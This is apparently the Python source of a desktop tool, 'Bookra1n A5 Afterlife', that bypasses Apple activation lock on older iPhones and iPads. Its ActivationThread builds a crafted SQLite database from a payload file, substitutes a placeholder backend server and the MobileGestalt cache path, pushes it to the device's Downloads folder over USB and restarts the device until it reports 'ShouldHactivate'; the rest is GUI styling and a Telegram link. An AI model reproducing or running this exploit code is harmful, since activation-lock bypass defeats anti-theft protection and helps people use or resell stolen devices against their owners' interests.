import sys
import os
import time
import sqlite3
import tempfile

from PyQt5.QtWidgets import (
    QApplication, QMainWindow, QWidget,
    QVBoxLayout, QPushButton, QLabel, QMessageBox, QDialog
)
from PyQt5.QtGui import QPixmap, QMovie, QIcon
from PyQt5.QtCore import QThread, pyqtSignal, QTimer, Qt, QSize

from pymobiledevice3.lockdown import create_using_usbmux
from pymobiledevice3.services.afc import AfcService
from pymobiledevice3.services.diagnostics import DiagnosticsService


BACKEND_URL = 'http://YOURSERVER.com/server.php'

SUPPORTED = {
    'iPhone4,1': {'9.3.5', '9.3.6'},

    'iPad2,1': {'8.4.1', '9.3.5'},
    'iPad2,2': {'9.3.5', '9.3.6'},
    'iPad2,3': {'9.3.5', '9.3.6'},
    'iPad2,4': {'8.4.1', '9.3.5'},

    'iPad2,5': {'8.4.1', '9.3.5'},
    'iPad2,6': {'9.3.5', '9.3.6'},
    'iPad2,7': {'9.3.5', '9.3.6'},

    'iPad3,1': {'8.4.1', '9.3.5'},
    'iPad3,2': {'9.3.5', '9.3.6'},
    'iPad3,3': {'9.3.5', '9.3.6'},

    'iPod5,1': {'8.4.1', '9.3.5'},

    'iPhone5,1': {'10.3.3', '10.3.4'},
    'iPhone5,2': {'10.3.3', '10.3.4'},

    'iPhone5,3': {'10.3.3', '10.3.4'},
    'iPhone5,4': {'10.3.3', '10.3.4'},

    'iPad3,4': {'10.3.3', '10.3.4'},
    'iPad3,5': {'10.3.3', '10.3.4'},
    'iPad3,6': {'10.3.3', '10.3.4'}
}

# pyinstaller resource path fix
def resource_path(name):
    base = getattr(sys, '_MEIPASS', os.path.abspath('.'))
    return os.path.join(base, name)

def build_db_from_sql(sql_path, backend_url, target_path):
    with open(sql_path, 'r', encoding='utf-8') as f:
        sql = f.read()

    sql = sql.replace('BACKEND_URL', backend_url).replace('TARGET_PATH', target_path)

    tmp = tempfile.NamedTemporaryFile(delete=False)
    tmp.close()

    try:
        con = sqlite3.connect(tmp.name)
        con.executescript(sql)
        con.commit()
        con.close()

        with open(tmp.name, 'rb') as f:
            return f.read()
    finally:
        os.unlink(tmp.name)

class ActivationThread(QThread):
    status = pyqtSignal(str)
    success = pyqtSignal(str)
    error = pyqtSignal(str)

    def wait_for_device(self, timeout=160):
        deadline = time.monotonic() + timeout

        while time.monotonic() < deadline:
            try:
                lockdown = create_using_usbmux()
                DiagnosticsService(lockdown=lockdown).mobilegestalt(
                    keys=['ProductType']
                )
                return lockdown
            except Exception:
                time.sleep(2)

        raise TimeoutError()

    def push_payload(self, lockdown, payload_db):
        with AfcService(lockdown=lockdown) as afc:
            for filename in afc.listdir('Downloads'):
                afc.rm('Downloads/' + filename)
            time.sleep(3)

            afc.set_file_contents(
                'Downloads/downloads.28.sqlitedb',
                payload_db
            )
        DiagnosticsService(lockdown=lockdown).restart()
        return self.wait_for_device()

    def should_hactivate(self, lockdown):
        diag = DiagnosticsService(lockdown=lockdown)
        return diag.mobilegestalt(
            keys=['ShouldHactivate']
        ).get('ShouldHactivate')

    def run(self):
        try:
            lockdown = create_using_usbmux()
            values = lockdown.get_value()

            if values.get('ActivationState') == 'Activated':
                self.success.emit('Device is already activated')
                return

            sql_path = resource_path('payload.sql')
            if tuple(int(x) for x in values.get('ProductVersion').split('.')) >= (10, 3):
                payload_db = build_db_from_sql(sql_path, BACKEND_URL, '/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist')
            else:
                payload_db = build_db_from_sql(sql_path, BACKEND_URL, '/private/var/mobile/Library/Caches/com.apple.MobileGestalt.plist')

            self.status.emit('Activating device...')

            for attempt in range(5):
                lockdown = self.push_payload(lockdown, payload_db)

                delay = 15 + attempt * 5
                time.sleep(delay)

                if self.should_hactivate(lockdown):
                    DiagnosticsService(lockdown=lockdown).restart()
                    self.success.emit('Done!')
                    return

                self.status.emit(f'Retrying activation\nAttempt {attempt + 1}/5')
                time.sleep(5)

            self.error.emit(
                'Activation failed after multiple attempts. Make sure the device is connected to the Wi-Fi.'
            )

        except TimeoutError:
            self.error.emit(
                'Device did not reconnect in time. Please ensure it is connected and try again.'
            )
        except Exception as e:
            self.error.emit(repr(e))


class CustomAlertBox(QDialog):
    def __init__(self, title, message, parent=None):
        super().__init__(parent)
        self.setWindowFlags(Qt.FramelessWindowHint | Qt.Dialog)
        self.setAttribute(Qt.WA_TranslucentBackground)
        self.setFixedSize(400, 200)

        layout = QVBoxLayout()
        self.setLayout(layout)

        container = QWidget()
        container.setObjectName("AlertContainer")
        container.setStyleSheet("""
            QWidget#AlertContainer {
                background-color: rgba(30, 31, 33, 230);
                border-radius: 20px;
                border: 2px solid rgba(255, 255, 255, 50);
            }
            QLabel {
                color: white;
                font-family: 'Segoe UI Light', 'Helvetica Neue', 'Arial';
                font-weight: bold;
                font-size: 11pt;
            }
            QPushButton {
                background-color: rgba(49, 98, 222, 190);
                color: white;
                border: 1px solid rgba(49, 98, 222, 100);
                border-radius: 10px;
                font-family: 'Segoe UI Light', 'Helvetica Neue', 'Arial';
                font-size: 11pt;
                font-weight: bold;
                padding: 10px;
                min-width: 200px;
            }
            QPushButton:hover {
                background-color: rgba(0, 120, 215, 200);
                border: 1px solid rgba(255, 255, 255, 180);
            }
            QPushButton:pressed {
                background-color: rgba(0, 100, 180, 200);
            }
        """)
        
        container_layout = QVBoxLayout(container)
        container_layout.setContentsMargins(20, 20, 20, 20)
        
        lbl_title = QLabel(title)
        lbl_title.setStyleSheet("font-size: 14pt; margin-bottom: 10px;")
        lbl_title.setAlignment(Qt.AlignCenter)
        container_layout.addWidget(lbl_title)
        
        lbl_message = QLabel(message)
        lbl_message.setWordWrap(True)
        lbl_message.setAlignment(Qt.AlignCenter)
        container_layout.addWidget(lbl_message)
        
        container_layout.addStretch()
        
        btn_ok = QPushButton("OK")
        btn_ok.setCursor(Qt.PointingHandCursor)
        btn_ok.clicked.connect(self.accept)
        container_layout.addWidget(btn_ok, alignment=Qt.AlignCenter)
        
        layout.addWidget(container)

    def mousePressEvent(self, event):
        if event.button() == Qt.LeftButton:
            self.drag_pos = event.globalPos() - self.frameGeometry().topLeft()
            event.accept()

    def mouseMoveEvent(self, event):
        if event.buttons() & Qt.LeftButton:
            self.move(event.globalPos() - self.drag_pos)
            event.accept()


class MainWindow(QMainWindow):
    def __init__(self):
        super().__init__()
        self.setWindowTitle("Bookra1n A5 Afterlife")
        self.setWindowIcon(QIcon(resource_path('img/icon.ico')))
        self.setFixedSize(450, 550)
        self.setWindowFlags(Qt.FramelessWindowHint)
        self.setAttribute(Qt.WA_TranslucentBackground)

        layout = QVBoxLayout()
        layout.setContentsMargins(0, 0, 0, 0)
        layout.setSpacing(0)
        container = QWidget()
        container.setObjectName("Container")
        container.setLayout(layout)
        self.setCentralWidget(container)

        wallpaper_path = resource_path('img/wall.jpg').replace('\\', '/')
        self.setStyleSheet(f"""
            #Container {{
                background-image: url({wallpaper_path});
                background-position: center;
                background-repeat: no-repeat;
                border-radius: 20px;
            }}
        """)

        self.logo_container = QWidget()
        self.logo_container.setObjectName("LogoContainer")
        self.logo_container.setStyleSheet("""
            #LogoContainer {
                background-color: rgba(0, 0, 0, 100);
                border-top-left-radius: 20px;
                border-top-right-radius: 20px;
                border-bottom-left-radius: 0px;
                border-bottom-right-radius: 0px;
            }
        """)
        self.logo_layout = QVBoxLayout(self.logo_container)
        self.logo_layout.setContentsMargins(10, 10, 10, 10)
        
        self.logo_label = QLabel()
        pixmap = QPixmap(resource_path('img/a5afterlife.png'))
        self.logo_label.setPixmap(pixmap.scaled(400, 200, Qt.KeepAspectRatio, Qt.SmoothTransformation))
        self.logo_label.setAlignment(Qt.AlignCenter)
        self.logo_layout.addWidget(self.logo_label)
        layout.addWidget(self.logo_container)
        
        self.bottom_container = QWidget()
        self.bottom_layout = QVBoxLayout(self.bottom_container)
        self.bottom_layout.setContentsMargins(15, 0, 15, 10)
        
        self.device_image_label = QLabel()
        self.pixmap_disconnected = QPixmap(resource_path('img/disconnected.png')).scaled(350, 350, Qt.KeepAspectRatio, Qt.SmoothTransformation)
        self.pixmap_connected = QPixmap(resource_path('img/connected.png')).scaled(350, 350, Qt.KeepAspectRatio, Qt.SmoothTransformation)
        
        self.device_image_label.setPixmap(self.pixmap_disconnected)
        self.device_image_label.setAlignment(Qt.AlignCenter)
        self.bottom_layout.addWidget(self.device_image_label)
        
        self.device_layout = QVBoxLayout(self.device_image_label)
        self.device_layout.setContentsMargins(0, 0, 0, 85)
        self.device_layout.addStretch()
        
        self.rocket_label = QLabel()
        self.rocket_movie = QMovie(resource_path('img/rocket.gif'))
        self.rocket_movie.setScaledSize(QSize(150, 150))
        self.rocket_label.setMovie(self.rocket_movie)
        self.rocket_label.setAlignment(Qt.AlignCenter)
        self.rocket_label.setStyleSheet("padding-top: 10px;")
        self.rocket_label.hide()
        self.device_layout.addWidget(self.rocket_label)
        
        self.status_label = QLabel("No device connected")
        self.status_label.setStyleSheet("color: white; font-weight: bold; font-family: 'Segoe UI Light', 'Helvetica Neue', 'Arial'; font-size: 10pt; background: transparent;")
        self.status_label.setAlignment(Qt.AlignCenter)
        self.device_layout.addWidget(self.status_label)
        
        self.btn_activate = QPushButton("Activate Device")
        self.btn_activate.setCursor(Qt.PointingHandCursor)
        self.btn_activate.setStyleSheet("""
            QPushButton {
                background-color: rgba(49, 98, 222, 190);
                color: white;
                border: 1px solid rgba(49, 98, 222, 100);
                border-radius: 10px;
                font-family: 'Segoe UI Light', 'Helvetica Neue', 'Arial';
                font-size: 11pt;
                font-weight: bold;
                padding: 10px;
            }
            QPushButton:hover {
                background-color: rgba(0, 120, 215, 200);
                border: 1px solid rgba(255, 255, 255, 180);
            }
            QPushButton:pressed {
                background-color: rgba(0, 100, 180, 200);
            }
            QPushButton:disabled {
                background-color: rgba(100, 100, 100, 100);
                color: rgba(200, 200, 200, 150);
            }
        """)
        self.bottom_layout.addWidget(self.btn_activate)
        
        layout.addWidget(self.bottom_container)

        self.btn_activate.clicked.connect(self.start_activation)

        self.btn_close = QPushButton("X", self)
        self.btn_close.setGeometry(410, 10, 30, 30)
        self.btn_close.setCursor(Qt.PointingHandCursor)
        self.btn_close.setStyleSheet("""
            QPushButton {
                background-color: rgba(255, 255, 255, 30);
                color: white;
                border: 1px solid rgba(255, 255, 255, 50);
                border-radius: 15px;
                font-family: 'Segoe UI Light', 'Helvetica Neue', 'Arial';
                font-weight: bold;
                font-size: 12pt;
            }
            QPushButton:hover {
                background-color: rgba(232, 17, 35, 200);
                border: 1px solid rgba(255, 255, 255, 180);
            }
            QPushButton:pressed {
                background-color: rgba(180, 0, 0, 200);
            }
        """)
        self.btn_close.clicked.connect(QApplication.instance().quit)

        self.timer = QTimer(self)
        self.timer.timeout.connect(self.check_device)
        self.timer.start(1000)

    def mousePressEvent(self, event):
        if event.button() == Qt.LeftButton:
            self.drag_pos = event.globalPos() - self.frameGeometry().topLeft()
            event.accept()

    def mouseMoveEvent(self, event):
        if event.buttons() & Qt.LeftButton:
            self.move(event.globalPos() - self.drag_pos)
            event.accept()
        

    def check_device(self):
        try:
            lockdown = create_using_usbmux()
            values = lockdown.get_value()
            product = values.get('ProductType')
            version = values.get('ProductVersion')

            if product in SUPPORTED:
                if version in SUPPORTED[product]:
                    self.status_label.setText(f"Connected:\n{product} ({version})")
                    self.btn_activate.setText("Activate Device")
                    self.btn_activate.setEnabled(True)
                else:
                    self.status_label.setText(f"Unsupported iOS:\n{version}")
                    self.btn_activate.setText("t.me/Bookra1n")
                    self.btn_activate.setEnabled(False)
            else:
                self.status_label.setText(f"Unsupported Device:\n{product}")
                self.btn_activate.setText("t.me/Bookra1n")
                self.btn_activate.setEnabled(False)

            self.device_image_label.setPixmap(self.pixmap_connected)

        except Exception:
            self.status_label.setText("No device connected")
            self.btn_activate.setText("t.me/Bookra1n")
            self.btn_activate.setEnabled(False)
            self.device_image_label.setPixmap(self.pixmap_disconnected)

    def start_activation(self):
        self.show_custom_alert("Info", "The activation will begin now. Please MAKE SURE your device is connected to Wi-Fi.")
        
        self.timer.stop()
        self.btn_activate.setText("t.me/Bookra1n")
        self.btn_activate.setEnabled(False)
        
        self.rocket_label.show()
        self.rocket_movie.start()

        self.worker = ActivationThread()
        self.worker.status.connect(self.update_status)
        self.worker.success.connect(self.on_success)
        self.worker.error.connect(self.on_error)
        self.worker.start()

    def update_status(self, message):
        self.status_label.setText(message)

    def on_success(self, message):
        self.rocket_movie.stop()
        self.rocket_label.hide()
        self.status_label.setText(message)
        self.show_custom_alert("Success!", message)
        self.btn_activate.setEnabled(True)
        self.timer.start(1000)

    def on_error(self, message):
        self.rocket_movie.stop()
        self.rocket_label.hide()
        self.show_custom_alert("Error", message)
        self.status_label.setText("Error.")
        self.btn_activate.setEnabled(True)
        self.timer.start(1000)

    def show_custom_alert(self, title, message):
        alert = CustomAlertBox(title, message, self)
        alert.exec()



if __name__ == '__main__':
    app = QApplication(sys.argv)
    window = MainWindow()
    window.show()
    sys.exit(app.exec())